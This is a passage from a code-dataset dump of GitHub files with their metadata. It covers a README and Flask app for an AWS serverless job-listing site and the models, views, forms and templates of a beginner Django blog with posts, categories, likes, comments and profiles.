"alphanum_fraction": 0.6943521499633789,
"avg_line_length": 15.722222328186035,
"blob_id": "43b6b1bceaad128d8b381efee3ff92846d0fa4c9",
"content_id": "e313e72f133cc627e215e794296695de37542822",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 301,
"license_type": "no_license",
"max_line_length": 22,
"num_lines": 18,
"path": "/requirements.txt",
"repo_name": "iAndrewChan/eatsleepsit_app",
"src_encoding": "UTF-8",
"text": "certifi==2018.10.15\nClick==7.0\ncsvs-to-sqlite==0.8.1\ndateparser==0.7.0\nFlask==1.0.2\nitsdangerous==1.1.0\nJinja2==2.10\nMarkupSafe==1.1.0\nnumpy==1.15.4\npandas==0.20.3\npy-lru-cache==0.1.4\npython-dateutil==2.7.5\npytz==2018.7\nregex==2018.11.22\nsix==1.11.0\nSQLAlchemy==1.2.14\ntzlocal==1.5.1\nWerkzeug==0.14.1\n"
}
] | 5 |
manideep1116/serverless_web_application | https://github.com/manideep1116/serverless_web_application | e28c44c4f21f081f1073e86bb269a2c36e8f388b | 4f849e30f4c87327b3612cd667f7fdae510f254f | 45a2da7e8a0b279034ac9cf46276c7da4cf39fea | refs/heads/master | 2021-06-20T02:35:27.995720 | 2020-01-06T06:08:17 | 2020-01-06T06:08:17 | 211,143,536 | 0 | 0 | null | 2019-09-26T17:20:18 | 2020-01-06T06:08:19 | 2021-05-06T19:42:44 | HTML | [
{
"alpha_fraction": 0.7245804667472839,
"alphanum_fraction": 0.7443237900733948,
"avg_line_length": 24.794872283935547,
"blob_id": "a2378ae2de33200eeb24525bffae2e74deb9be37",
"content_id": "f2ffe9c390b335f57e42e2a04d6e35917cbd4cc5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 1013,
"license_type": "no_license",
"max_line_length": 178,
"num_lines": 39,
"path": "/README.md",
"repo_name": "manideep1116/serverless_web_application",
"src_encoding": "UTF-8",
"text": "# serverless_web_application\n\n\n###Creating a static website\n\n####Create an S3 bucket and configuring for web hosting\n\nFirst, create an S3 bucket\n\n```\naws s3 mb s3://serverless00\n```\n\nEnable the objects in the bucket to be requested using a registered public DNS name for the bucket, as well as direct site requests to the base path of the DNS name to index.html\n\n\n###Edit the S3 bucket policy from the documents\n\n```\naws s3api put-bucket-policy --bucket serverless00 --policy file://~/Github_Rep/serverless_web_application/s3/bucket-policy.json\n```\n\n###Add the required content to S3\n\n```\naws s3 cp index.html s3://serverless00/index.html\n```\n\n###Now, open the web browser and check the webite at\n\n```\nhttp://serverless00.s3-website-us-east-1.amazonaws.com/\n```\n\n###Create cloudformation stack with necessary infrasrtucture\n\n```\naws cloudformation create-stack --stack-name serverlessCoreStack --capabilities CAPABILITY_NAMED_IAM --template-body file://~/Github_Rep/serverless_web_application/core.yml\n```\n\n\n\n\n\n\n\n"
},
{
"alpha_fraction": 0.7533512115478516,
"alphanum_fraction": 0.760857880115509,
"avg_line_length": 59.16128921508789,
"blob_id": "69968e329ec8967f5060a06a8f23ada39a9f4c3c",
"content_id": "40429aa08c16374b60a93025d91908f8b8952bfb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1865,
"license_type": "no_license",
"max_line_length": 486,
"num_lines": 31,
"path": "/service/app.py",
"repo_name": "manideep1116/serverless_web_application",
"src_encoding": "UTF-8",
"text": "from flask import Flask, jsonify, request, render_template\nfrom flask_cors import CORS\n\n\napp = Flask(__name__)\nCORS(app)\n\[email protected]('/')\ndef index():\n return 'hello!'\n\n\[email protected]('/fullstack', methods = ['GET'])\ndef fullStack():\n# message = {'greeting':'Hello from Flask!'}\n #return jsonify(message)\n return \"<h3>Job description </h3><p>At Ocelot, full stack developers work as a team to build modern, cloud-native products with our clients. Teams are empowered to own all facets of development including frontend, backend, infrastructure, and data pipelines.An ideal candidate will enjoy being a generalist not expected to be an expert in all of these, but enthusiastic and capable of learning and contributing wherever needed.</p> \"\n\n\[email protected]('/cloudeng')\ndef cloudEng():\n return \"<h3>Job description</h3><p>As a cloud engineer, you will build and automate highly available, elastic, and secure cloud-based infrastructure to support the needs of our client workloads. You will have the opportunity to work in a wide variety of areas including infrastructure automation, security, configuration management, continuous integration, continuous deployment as well as mentoring colleagues on your team and across other engineering teams.</p>\"\n\[email protected]('/bigdata')\ndef bigData():\n return \"<h3>Job description</h3><p>As a Big Data Engineer, you will develop innovative software using distributed data processing frameworks and techniques. Ocelot Big Data Engineers define and build data pipelines that enable our clients to make faster, better, data-informed business decision. You will work in a team environment with software engineers, analysts, and data scientists with the opportunity to mentor colleagues on your team and across other engineering teams.</p>\"\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=8080)\n\napp.run()\n"
}
] | 2 |
pravallika-ganji/bloggy | https://github.com/pravallika-ganji/bloggy | b234a3c5c1178ba5787730e7a18fdd32c36f9d09 | a4e8b260196988ab55a60eb2a6fffc5d252e9f52 | 62524aa2fd8f48929c1e2f1cf7357f09bd0458c5 | refs/heads/master | 2023-08-18T12:05:22.325024 | 2021-10-13T16:53:42 | 2021-10-13T16:53:42 | 416,650,257 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6631717085838318,
"alphanum_fraction": 0.6631717085838318,
"avg_line_length": 43,
"blob_id": "0079e95ba02b7ae01621c398941c6dfc35a98717",
"content_id": "e0ab2c540ed42fbe36aa14c4381eb7f55d109b9f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 763,
"license_type": "no_license",
"max_line_length": 78,
"num_lines": 17,
"path": "/blog/urls.py",
"repo_name": "pravallika-ganji/bloggy",
"src_encoding": "UTF-8",
"text": "from blog.views import *\r\nfrom django.urls import path\r\nfrom django.contrib.auth import views as v\r\n\r\nurlpatterns = [\r\n path('',home,name=\"home\"),\r\n path('article/<int:pk>',ArticleView.as_view(), name = \"detail\"),\r\n path('createpost/',PostCreate.as_view(),name=\"create\"),\r\n path('postupdate/<int:m>',PostUpdate,name=\"update\"),\r\n path('postdelete/<int:n>',PostDelete,name=\"delete\"),\r\n path('createcat/',CategoryCreate.as_view(),name=\"createcat\"),\r\n path('category/<str:cats>/',CategoryView,name=\"category\"),\r\n path('category/',CategoryListView,name=\"catlist\"),\r\n path('likes/<int:pk>',LikeView,name='like'),\r\n path('article/<int:pk>/comment/',AddCommentView.as_view(),name=\"comment\"),\r\n path('search/',searchView,name=\"search\"),\r\n]"
},
{
"alpha_fraction": 0.6545542478561401,
"alphanum_fraction": 0.6661821603775024,
"avg_line_length": 34.21052551269531,
"blob_id": "2c1cd774f9c16a84549d81a8ef1d62e14082dc77",
"content_id": "1818c5bcbecf0cb6757c9808e07c0500364a6d2d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2064,
"license_type": "no_license",
"max_line_length": 86,
"num_lines": 57,
"path": "/blog/models.py",
"repo_name": "pravallika-ganji/bloggy",
"src_encoding": "UTF-8",
"text": "from django.db import models\r\n\r\nfrom django.contrib.auth.models import User\r\n\r\nfrom django.urls import reverse\r\n\r\nclass Category(models.Model):\r\n name = models.CharField(max_length=200)\r\n def __str__(self):\r\n return self.name \r\n\r\n def get_absolute_url(self):\r\n return reverse('home')\r\n\r\nclass Profile(models.Model):\r\n user = models.OneToOneField(User, null=True,on_delete=models.CASCADE)\r\n bio = models.TextField()\r\n propic = models.ImageField(upload_to = 'blogimages/profile',blank=True)\r\n website_url = models.CharField(max_length=200, unique=True,blank=True)\r\n fb_url = models.CharField(max_length=200, unique=True,blank=True)\r\n instagram_url = models.CharField(max_length=200, unique=True,blank=True)\r\n linkedin_url = models.CharField(max_length=200, unique=True,blank=True)\r\n\r\n def __str__(self):\r\n return str(self.user)\r\n\r\n def gey_absolute_url(self):\r\n return reverse('home')\r\n\r\nclass Post(models.Model):\r\n # approval = models.BooleanField(default=False)\r\n title = models.CharField(max_length=200, unique=True)\r\n description = models.TextField(blank=True, null=True)\r\n image = models.ImageField(upload_to = 'blogimages/')\r\n created_at = models.DateTimeField(auto_now_add = True)\r\n updated_at = models.DateTimeField(auto_now = True)\r\n user = models.ForeignKey(User,on_delete = models.CASCADE)\r\n category = models.CharField(max_length = 255, default='coding')\r\n likes = models.ManyToManyField(User,related_name='blog_posts')\r\n\r\n def total_likes(self):\r\n return self.likes.count()\r\n\r\n def __str__(self): \r\n return self.title + ' | ' +str(self.user)\r\n \r\n def gey_absolute_url(self):\r\n return reverse('home')\r\n\r\nclass Comment(models.Model):\r\n post = models.ForeignKey(Post,related_name=\"comments\", on_delete = models.CASCADE)\r\n name = models.CharField(max_length=200)\r\n comment = models.TextField()\r\n commented_at = models.DateTimeField(auto_now_add = True)\r\n\r\n def __str__(self):\r\n return self.post.title\r\n"
},
{
"alpha_fraction": 0.6032456755638123,
"alphanum_fraction": 0.6099608540534973,
"avg_line_length": 22.47945213317871,
"blob_id": "59e4bb4a632a8fee475b1dc39646586ae2c92ad6",
"content_id": "b2dbb8b042a51a788d552c3c65f599c7719dc531",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1787,
"license_type": "no_license",
"max_line_length": 60,
"num_lines": 73,
"path": "/blog/forms.py",
"repo_name": "pravallika-ganji/bloggy",
"src_encoding": "UTF-8",
"text": "from blog.models import *\r\n\r\nfrom django import forms\r\n\r\nfrom django.contrib.auth.models import User\r\n\r\nchoices = Category.objects.all().values_list('name','name')\r\n\r\nchoice_list = []\r\nfor i in choices:\r\n\tchoice_list.append(i)\r\n\r\nclass PostForm(forms.ModelForm):\r\n\tclass Meta:\r\n\t\tmodel = Post\r\n\t\tfields = [\"title\",\"category\",\"user\",\"image\",\"description\"]\r\n\t\twidgets = {\r\n\t\t\"title\":forms.TextInput(attrs={\r\n\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\"placeholder\":\"Enter Blog title\",\r\n\t\t\t}),\r\n\t\t\"category\":forms.Select(choices=choice_list,attrs={\r\n\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\"placeholder\":\"select\",\r\n\t\t\t}),\r\n\t\t\"user\":forms.TextInput(attrs={\r\n\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\"value\":\"\",\r\n\t\t\t\"id\":'elder',\r\n\t\t\t\"type\":'hidden'\r\n\t\t\t}),\r\n\t\t\"description\":forms.Textarea(attrs={\r\n\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\"placeholder\":\"Write your description here.\",\r\n\t\t\t# \"rows\":8,\r\n\t\t\t}),\r\n\t\t}\r\n\r\nclass EditPostForm(forms.ModelForm):\r\n\tclass Meta:\r\n\t\tmodel = Post\r\n\t\tfields = [\"title\",\"category\",\"image\",\"description\"]\r\n\t\twidgets = {\r\n\t\t\"title\":forms.TextInput(attrs={\r\n\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\"placeholder\":\"Enter Blog title\",\r\n\t\t\t}),\r\n\t\t\"category\":forms.Select(choices=choice_list,attrs={\r\n\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\"placeholder\":\"select\",\r\n\t\t\t}),\r\n\t\t\"description\":forms.Textarea(attrs={\r\n\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\"placeholder\":\"Write your description here.\",\r\n\t\t\t\"rows\":8,\r\n\t\t\t}),\r\n\t\t}\r\n\r\nclass CommentForm(forms.ModelForm):\r\n\tclass Meta:\r\n\t\tmodel = Comment\r\n\t\tfields = [\"name\",\"comment\"]\r\n\t\twidgets = {\r\n\t\t\"name\":forms.TextInput(attrs={\r\n\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\"placeholder\":\"Enter name\",\r\n\t\t\t}),\r\n\t\t\"comment\":forms.Textarea(attrs={\r\n\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\"placeholder\":\"Write your comment here.\",\r\n\t\t\t# \"rows\":8,\r\n\t\t\t}),\r\n\t\t}\r\n"
},
{
"alpha_fraction": 0.7017393708229065,
"alphanum_fraction": 0.7043056488037109,
"avg_line_length": 29.81818199157715,
"blob_id": "f5265fc019f04ae108f962bd857eabf07eaa5513",
"content_id": "4726416d9b9f5eb930dd700c59aea1a960cfdd43",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3507,
"license_type": "no_license",
"max_line_length": 112,
"num_lines": 110,
"path": "/blog/views.py",
"repo_name": "pravallika-ganji/bloggy",
"src_encoding": "UTF-8",
"text": "from django.shortcuts import render,redirect,get_object_or_404\r\nfrom blog.models import *\r\nfrom django.views.generic import View, TemplateView, CreateView, FormView, DetailView, ListView\r\nfrom .forms import *\r\nfrom django.contrib import messages\r\nfrom django.contrib.auth import authenticate, login, logout\r\nfrom django.core.paginator import Paginator\r\nfrom django.urls import reverse_lazy, reverse\r\nfrom django.core.mail import send_mail\r\nfrom django.http import HttpResponseRedirect\r\nfrom django.contrib.auth.mixins import LoginRequiredMixin \r\nfrom django.urls import reverse_lazy\r\n# Create your views here.\r\n\r\ndef home(request):\r\n\tp = Post.objects.all()\r\n\tc = Category.objects.all()\r\n\tcontext = {'posts': p , 'c':c}\r\n\treturn render(request,'home.html',context)\r\n\r\ndef homee(request):\r\n\tc = Category.objects.all()\r\n\tcontext = {'c':c}\r\n\treturn render(request,'navbar.html',context)\r\n\r\nclass AddCommentView(CreateView):\r\n\tform_class = CommentForm\r\n\ttemplate_name = 'addcomment.html'\r\n\tsuccess_url = ('/')\r\n\r\n\tdef form_valid(self,form):\r\n\t\tform.instance.post_id = self.kwargs['pk']\r\n\t\treturn super().form_valid(form)\r\n\r\n\r\n\r\ndef CategoryListView(request):\r\n\tc = Category.objects.all()\r\n\tcontext = {'c':c}\r\n\treturn render(request,'catlist.html',context)\r\n\r\nclass ArticleView(LoginRequiredMixin,DetailView):\r\n\tlogin_url='login'\r\n\tmodel = Post\r\n\ttemplate_name = 'detail.html'\r\n\tdef get_context_data(self,*args,**kwargs):\r\n\t\tcontext = super(ArticleView,self).get_context_data(*args,**kwargs)\r\n\t\tstuff = get_object_or_404(Post,id=self.kwargs['pk'])\r\n\t\tliked = False\r\n\t\tif stuff.likes.filter(id=self.request.user.id).exists():\r\n\t\t\tliked=True\r\n\t\ttotal_likes = stuff.total_likes()\r\n\t\tcontext['total_likes'] = total_likes\r\n\t\tcontext['liked'] = liked\r\n\t\treturn context\r\n\r\ndef CategoryView(request,cats):\r\n\tcategory_posts = Post.objects.filter(category=cats.replace('-',\" \"))\r\n\treturn render(request, 'category.html', {'cats':cats.title().replace('-',\" \"),'category_posts':category_posts})\r\n\r\nclass PostCreate(LoginRequiredMixin,CreateView):\r\n\tlogin_url='login'\r\n\tmodel = Post\r\n\tform_class=PostForm\r\n\ttemplate_name = 'createpost.html'\r\n\tsuccess_url = reverse_lazy('home')\r\n\r\nclass CategoryCreate(CreateView):\r\n\tmodel = Category\r\n\ttemplate_name = 'createcat.html'\r\n\tfields= \"__all__\"\r\n\t\r\n\r\ndef PostUpdate(request,m):\r\n\tk = Post.objects.get(id=m)\r\n\tif request.method == \"POST\":\r\n\t\te = PostForm(request.POST,request.FILES,instance=k)\r\n\t\tif e.is_valid():\r\n\t\t\te.save()\r\n\t\t\tmessages.warning(request,\"{} Blog Updated Successfully\".format(k.title))\r\n\t\t\treturn redirect('/')\r\n\te = PostForm(instance=k)\r\n\treturn render(request,'update.html',{'x':e,'k':k})\r\n\r\ndef PostDelete(request,n):\r\n\tv = Post.objects.get(id=n)\r\n\tif request.method == \"POST\":\r\n\t\tv.delete()\r\n\t\tmessages.info(request,\"{} BLog Deleted Successfully\".format(v.title))\r\n\t\treturn redirect('/')\r\n\treturn render(request,'delete.html',{'q':v})\r\n\r\ndef LikeView(request,pk):\r\n\tpost = get_object_or_404(Post,id=request.POST.get('post_id'))\r\n\tliked = False \r\n\tif post.likes.filter(id=request.user.id).exists():\r\n\t\tpost.likes.remove(request.user)\r\n\t\tliked=False\r\n\telse:\r\n\t\tpost.likes.add(request.user)\r\n\t\tliked=True\r\n\treturn HttpResponseRedirect(reverse('detail',args=[str(pk)]))\r\n\r\ndef searchView(request):\r\n\tif request.method == \"POST\":\r\n\t\tsearched = request.POST['searched']\r\n\t\tp = Post.objects.filter(title__icontains=searched,description__icontains=searched)\r\n\t\treturn render(request,'search.html',{'posts':p})\r\n\telse:\r\n\t\treturn render(request,'search.html',{})\r\n\r\n\r\n\t\r\n"
},
{
"alpha_fraction": 0.5328836441040039,
"alphanum_fraction": 0.5430017113685608,
"avg_line_length": 27.75,
"blob_id": "5ee85534decc2628037af22e44ccc9091089a31d",
"content_id": "176e503a26aa526e2a608beef0c621db10555e94",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "HTML",
"length_bytes": 593,
"license_type": "no_license",
"max_line_length": 92,
"num_lines": 20,
"path": "/bloggers/templates/registration/passwordresetcomplete.html",
"repo_name": "pravallika-ganji/bloggy",
"src_encoding": "UTF-8",
"text": "{% extends 'base.html' %}\r\n{% block title %}password reset complete{% endblock %}\r\n{% block content %}\r\n<style>\r\n .errorlist{\r\n color: red;\r\n }\r\n</style>\r\n<div class=\"container mt-4\">\r\n\t<div class=\"card col-md-10 mx-auto shadow-lg\">\r\n\t\t<div class=\"card-body\">\r\n {% csrf_token %}\r\n\t\t\t <h2 class=\"font-weight-bold mt-3\">Password reset complete</h2>\r\n <hr>\r\n <p>Your password has been set. You may go ahead and log in now.</p> \r\n <a href=\"{% url 'login' %}\" class=\"btn btn-primary\">Log in</a>\r\n\t\t</div>\r\n\t</div>\r\n</div>\r\n{% endblock %}"
},
{
"alpha_fraction": 0.7848101258277893,
"alphanum_fraction": 0.7848101258277893,
"avg_line_length": 21.899999618530273,
"blob_id": "8608ba56850cbf1cb1fca5630f419941d5f17ae5",
"content_id": "a3c190791294d80eefef6574f76f3e19cd39a809",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 237,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 10,
"path": "/blog/admin.py",
"repo_name": "pravallika-ganji/bloggy",
"src_encoding": "UTF-8",
"text": "from django.contrib import admin\r\n\r\nfrom .models import Post,Category,Profile,Comment\r\n\r\n# Register your models here.\r\n\r\nadmin.site.register(Post)\r\nadmin.site.register(Category)\r\nadmin.site.register(Profile)\r\nadmin.site.register(Comment)"
},
{
"alpha_fraction": 0.4833538830280304,
"alphanum_fraction": 0.6683107018470764,
"avg_line_length": 16.86046600341797,
"blob_id": "596a8881b0d90345e8af2ff47b12eb8ab9c94b97",
"content_id": "0148ff116d4c8dd9e9906b242ae194583af38a94",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 811,
"license_type": "no_license",
"max_line_length": 30,
"num_lines": 43,
"path": "/requirements.txt",
"repo_name": "pravallika-ganji/bloggy",
"src_encoding": "UTF-8",
"text": "appdirs==1.4.4\r\nasgiref==3.2.10\r\nautopep8==1.5.2\r\ncertifi==2021.5.30\r\nchardet==3.0.4\r\ndistlib==0.3.2\r\ndj-database-url==0.5.0\r\nDjango==3.1\r\ndjango-crispy-forms==1.9.2\r\ndjango-heroku==0.3.1\r\ndjango-taggit==1.2.0\r\nez-setup==0.9\r\nfactory-boy==2.12.0\r\nFaker==4.1.0\r\nfilelock==3.0.12\r\nflake8==3.8.1\r\ngunicorn==20.0.4\r\nidna==2.8\r\nimportlib-metadata==4.5.0\r\nMarkdown==3.2.2\r\nmccabe==0.6.1\r\nmysql-connector==2.2.9\r\nmysql-connector-python==8.0.25\r\nmysqlclient==2.0.3\r\nPillow==7.2.0\r\npsycopg2==2.8.5\r\npycodestyle==2.6.0\r\npyflakes==2.2.0\r\nPySide2==5.15.2\r\npython-dateutil==2.8.1\r\npython-decouple==3.5\r\npytz==2020.1\r\nrequests==2.22.0\r\nshiboken2==5.15.2\r\nsix==1.14.0\r\nsqlparse==0.3.1\r\nstickynotes==1.0.0\r\ntext-unidecode==1.3\r\ntyping-extensions==3.10.0.0\r\nurllib3==1.25.11\r\nvirtualenv==20.4.7\r\nwhitenoise==5.2.0\r\nzipp==3.4.1\r\n"
},
{
"alpha_fraction": 0.6305609345436096,
"alphanum_fraction": 0.6318504214286804,
"avg_line_length": 43.67647171020508,
"blob_id": "4c8a2ec91170af25811b30e8ce1a7c185e5654d9",
"content_id": "4cbf7ee9d29e0b6919a399293cd4a69acdb6376d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1551,
"license_type": "no_license",
"max_line_length": 88,
"num_lines": 34,
"path": "/bloggers/urls.py",
"repo_name": "pravallika-ganji/bloggy",
"src_encoding": "UTF-8",
"text": "from bloggers.views import *\r\nfrom django.urls import path\r\nfrom django.contrib.auth import views as auth_views\r\n\r\nurlpatterns = [\r\n path('register/',UserRegisterView.as_view(),name = \"register\"),\r\n path('editprofile/',UserEditView.as_view(),name = \"editprofile\"),\r\n path('pwd/',PasswordsChangeView.as_view(),name=\"change\"),\r\n path('pwdsuccess/',PasswordSuccess,name=\"pwdsucc\"),\r\n path('<int:pk>/profile/',ShowProfileView.as_view(),name=\"profile\"),\r\n path('<int:pk>/editprofile/',EditProfileView.as_view(),name=\"edituserprofile\"),\r\n path('createprofile/',CreateProfilePageView.as_view(),name=\"createuserprofile\"),\r\n path('password-reset/',\r\n auth_views.PasswordResetView.as_view(\r\n template_name='registration/passwordreset.html',\r\n # success_url='/login/'\r\n ),\r\n name='password-reset'),\r\n path('password-reset/done/',\r\n auth_views.PasswordResetDoneView.as_view(\r\n template_name='registration/passwordresetdone.html'\r\n ),\r\n name='password_reset_done'),\r\n path('password-reset-confirm/<uidb64>/<token>/',\r\n auth_views.PasswordResetConfirmView.as_view(\r\n template_name='registration/passwordresetconfirm.html'\r\n ),\r\n name='password_reset_confirm'),\r\n path('password-reset-complete/',\r\n auth_views.PasswordResetCompleteView.as_view(\r\n template_name='registration/passwordresetcomplete.html'\r\n ),\r\n name='password_reset_complete'),\r\n]"
},
{
"alpha_fraction": 0.75656658411026,
"alphanum_fraction": 0.7593808770179749,
"avg_line_length": 31.77777862548828,
"blob_id": "77ef043c2a0f1c07b82641541822dba9d389537a",
"content_id": "a9df4d1237a5526c5d1ecf519d32e09dbd16e3e7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2132,
"license_type": "no_license",
"max_line_length": 104,
"num_lines": 63,
"path": "/bloggers/views.py",
"repo_name": "pravallika-ganji/bloggy",
"src_encoding": "UTF-8",
"text": "from django.shortcuts import render,HttpResponseRedirect,redirect,get_object_or_404,reverse\r\nfrom django.views import generic \r\nfrom django.views.generic import DetailView,UpdateView,CreateView\r\nfrom django.contrib.auth.forms import UserCreationForm,UserChangeForm\r\nfrom django.urls import reverse_lazy\r\nfrom .forms import RegisterForm,EditProfileForm,PasswordChangingForm,ProfilePageForm,EditProfilePageForm\r\nfrom django.contrib.auth.views import *\r\nfrom blog.models import Profile\r\nfrom blog.forms import *\r\n# Create your views here.\r\n\r\nclass CreateProfilePageView(CreateView):\r\n\tform_class = ProfilePageForm\r\n\ttemplate_name = 'registration/createuser.html'\r\n\tsuccess_url = reverse_lazy('home')\r\n\r\n\tdef form_valid(self,form):\r\n\t\tform.instance.user = self.request.user\r\n\t\treturn super().form_valid(form)\r\n\r\nclass ShowProfileView(DetailView):\r\n\tmodel = Profile\r\n\ttemplate_name= \"registration/userprof.html\"\r\n\r\n\tdef get_context_data(self,*args,**kwargs):\r\n\t\tusers = Profile.objects.all()\r\n\t\tuser = self.request.user\r\n\t\tp = Post.objects.filter(user=user)\r\n\t\tcontext = super(ShowProfileView,self).get_context_data(*args,**kwargs)\r\n\t\tpage_user = get_object_or_404(Profile,id=self.kwargs['pk'])\r\n\t\tcontext['page_user'] = page_user\r\n\t\tcontext['posts'] = p\r\n\t\treturn context\r\n\r\nclass EditProfileView(UpdateView):\r\n\tform_class = EditProfilePageForm\r\n\ttemplate_name = 'registration/edituser.html'\r\n\tsuccess_url = reverse_lazy('home')\r\n\r\n\tdef get_object(self):\r\n\t\treturn self.request.user.profile\r\n\r\n\r\nclass UserRegisterView(generic.CreateView):\r\n\tform_class = RegisterForm\r\n\ttemplate_name = 'registration/register.html'\r\n\tsuccess_url = reverse_lazy('login')\r\n\r\nclass UserEditView(generic.UpdateView):\r\n\tform_class = EditProfileForm\r\n\ttemplate_name = 'registration/editprofile.html'\r\n\tsuccess_url = reverse_lazy('home')\r\n\r\n\tdef get_object(self):\r\n\t\treturn self.request.user\r\n\r\nclass PasswordsChangeView(PasswordChangeView):\r\n\tform_class = PasswordChangingForm\r\n\tsuccess_url = reverse_lazy('pwdsucc')\r\n\ttemplate_name = 'registration/changepwd.html'\r\n\r\ndef PasswordSuccess(request):\r\n\treturn render(request,'registration/pwdsucc.html',{})\r\n\r\n\r\n"
},
{
"alpha_fraction": 0.6229637265205383,
"alphanum_fraction": 0.6324225068092346,
"avg_line_length": 29.700000762939453,
"blob_id": "a1f572ab4f79fbece4103779022d8e31e27dec94",
"content_id": "8c4d0cb12d740721338deb7a82e3934b8ba04148",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3806,
"license_type": "no_license",
"max_line_length": 125,
"num_lines": 120,
"path": "/bloggers/forms.py",
"repo_name": "pravallika-ganji/bloggy",
"src_encoding": "UTF-8",
"text": "from blog.models import *\r\nfrom django import forms\r\n\r\nfrom django.contrib.auth.models import User\r\n\r\nfrom django.contrib.auth.forms import UserCreationForm,PasswordChangeForm,UserChangeForm\r\n\r\nclass RegisterForm(UserCreationForm):\r\n\tpassword1 = forms.CharField(max_length=100,widget=forms.PasswordInput(attrs={'class':'form-control','type':'password'}))\r\n\tpassword2 = forms.CharField(max_length=100,widget=forms.PasswordInput(attrs={'class':'form-control','type':'password'}))\r\n\tclass Meta:\r\n\t\tmodel = User\r\n\t\tfields = [\"username\",\"first_name\",\"last_name\",\"email\",\"password1\",\"password2\"]\r\n\t\twidgets = {\r\n\t\t\"username\":forms.TextInput(attrs={\r\n\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\"placeholder\":\"Enter Username\",\r\n\t\t\t}),\r\n\t\t\"first_name\":forms.TextInput(attrs={\r\n\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\"placeholder\":\"Enter firstname\",\r\n\t\t\t}),\r\n\t\t\"last_name\":forms.TextInput(attrs={\r\n\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\"placeholder\":\"Enter lastname\",\r\n\t\t\t}),\r\n\t\t\"email\":forms.EmailInput(attrs={\r\n\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\"placeholder\":\"Enter email address\",\r\n\t\t\t}),\r\n\t\t}\r\n\r\nclass EditProfileForm(UserChangeForm):\r\n\tclass Meta:\r\n\t\tmodel = User\r\n\t\tfields = [\"username\",\"first_name\",\"last_name\",\"email\"]\r\n\t\twidgets = {\r\n\t\t\"username\":forms.TextInput(attrs={\r\n\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\"placeholder\":\"Enter Username\",\r\n\t\t\t}),\r\n\t\t\"first_name\":forms.TextInput(attrs={\r\n\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\"placeholder\":\"Enter firstname\",\r\n\t\t\t}),\r\n\t\t\"last_name\":forms.TextInput(attrs={\r\n\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\"placeholder\":\"Enter lastname\",\r\n\t\t\t}),\r\n\t\t\"email\":forms.EmailInput(attrs={\r\n\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\"placeholder\":\"Enter email address\",\r\n\t\t\t}),\r\n\t\t}\r\n\r\nclass PasswordChangingForm(PasswordChangeForm):\r\n\told_password = forms.CharField(widget=forms.PasswordInput(attrs={'class':'form-control','type':'password'}))\r\n\tnew_password1 = forms.CharField(max_length=100,widget=forms.PasswordInput(attrs={'class':'form-control','type':'password'}))\r\n\tnew_password2 = forms.CharField(max_length=100,widget=forms.PasswordInput(attrs={'class':'form-control','type':'password'}))\r\n\r\n\tclass Meta:\r\n\t\tmodel = User\r\n\t\tfields = ('old_password','new_password2','new_password1')\r\n\r\n\r\nclass ProfilePageForm(forms.ModelForm):\r\n\tclass Meta:\r\n\t\tmodel = Profile\r\n\t\tfields = ('bio','propic','website_url','fb_url','instagram_url','linkedin_url')\r\n\t\twidgets = {\r\n\t\t\t\t\t\"bio\":forms.Textarea(attrs={\r\n\t\t\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\t\t\"placeholder\":\"Enter bio here\",\r\n\t\t\t\t}),\r\n\t\t\t\t\t\"website_url\":forms.TextInput(attrs={\r\n\t\t\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\t\t\"placeholder\":\"Enter bio here\",\r\n\t\t\t\t}),\r\n\t\t\t\t\t\"fb_url\":forms.TextInput(attrs={\r\n\t\t\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\t\t\"placeholder\":\"Enter bio here\",\r\n\t\t\t\t}),\r\n\t\t\t\t\t\"instagram_url\":forms.TextInput(attrs={\r\n\t\t\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\t\t\"placeholder\":\"Enter bio here\",\r\n\t\t\t\t}),\r\n\t\t\t\t\t\"linkedin_url\":forms.TextInput(attrs={\r\n\t\t\t\t\t\"class\":\"form-control my-2\",\r\n\t\t\t\t\t\"placeholder\":\"Enter bio here\",\r\n\t\t\t\t}),\r\n\r\n\t\t}\r\n\r\nclass EditProfilePageForm(forms.ModelForm):\r\n\tclass Meta:\r\n\t\tmodel = Profile\r\n\t\tfields = 